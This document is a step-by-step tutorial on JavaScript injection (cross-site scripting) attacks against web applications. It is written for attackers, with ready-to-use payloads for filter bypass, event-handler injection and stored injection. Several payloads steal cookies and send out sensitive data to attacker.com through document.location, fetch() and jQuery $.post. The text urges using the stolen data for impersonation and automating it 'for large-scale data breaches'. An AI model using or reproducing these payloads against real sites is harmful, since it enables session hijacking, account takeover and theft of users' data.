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JavaScript Injection Techniques

Introduction:
JavaScript Injection is a technique used to exploit web applications by injecting malicious scripts into websites or systems. These scripts manipulate or compromise the system by leveraging vulnerabilities in input validation or script execution.
1. Basic Injection

A. Identify user-input fields that directly execute JavaScript without sanitization.
B. Inject simple scripts like <script>alert('Injected');</script> into text inputs, search bars, or URL parameters.
C. Observe if the script is executed, indicating the system's vulnerability.
2. Bypassing Input Validation

A. Use encoded payloads like %3Cscript%3Ealert('Injected')%3C%2Fscript%3E.
B. Experiment with obfuscation methods to bypass security measures.
C. Test variations, such as breaking into dynamic JavaScript contexts like concatenated strings.
3. Cookie Stealing

A. Inject scripts to capture cookies:
javascript <script>document.location='http://attacker.com/?cookie='+document.cookie;</script>
B. Redirect the user’s session data to a server under your control.
C. Utilize this data for unauthorized access or impersonation.
4. DOM-Based Injection

A. Inspect JavaScript code embedded on the client side for dynamic DOM manipulation.
B. Inject payloads directly into DOM interactions, e.g., modifying innerHTML or document.write().
C. Test with custom inputs to observe how the DOM structure changes and executes code.
5. Event Handlers Exploitation

A. Inject payloads within HTML event handlers (e.g., onerror, onclick).
B. Example: <img src="invalid.jpg" onerror="alert('Injected')">.
C. Leverage these handlers to bypass filtering mechanisms and trigger malicious actions.
6. Stored Injection

A. Locate features where user input is stored, such as comments or profiles.
B. Inject persistent scripts like <script>maliciousFunction();</script>.
C. Wait for other users to interact with the injected code, spreading the exploit.
7. Exfiltration Through JavaScript

A. Inject scripts to send data to a controlled endpoint:
javascript <script> fetch('http://attacker.com/data', { method: 'POST', body: JSON.stringify({data: sensitiveData}) }); </script>
B. Collect sensitive information such as form submissions or user actions.
C. Automate this process for large-scale data breaches.
8. Advanced Payloads with Frameworks

A. Incorporate frameworks like jQuery or React in the payload if the target uses them.
B. Exploit their APIs for advanced scripting techniques.
C. Example (jQuery):
javascript <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script>$.post('http://attacker.com', {data: 'Injected'});</script>

Essential Components for JavaScript Injection:

    Browser Debugging Tools: Tools like Chrome Developer Tools to inspect vulnerabilities.
    Vulnerable Input Points: Text fields, URL parameters, or stored data features.
    Payload Repository: Pre-prepared scripts for exploitation scenarios.


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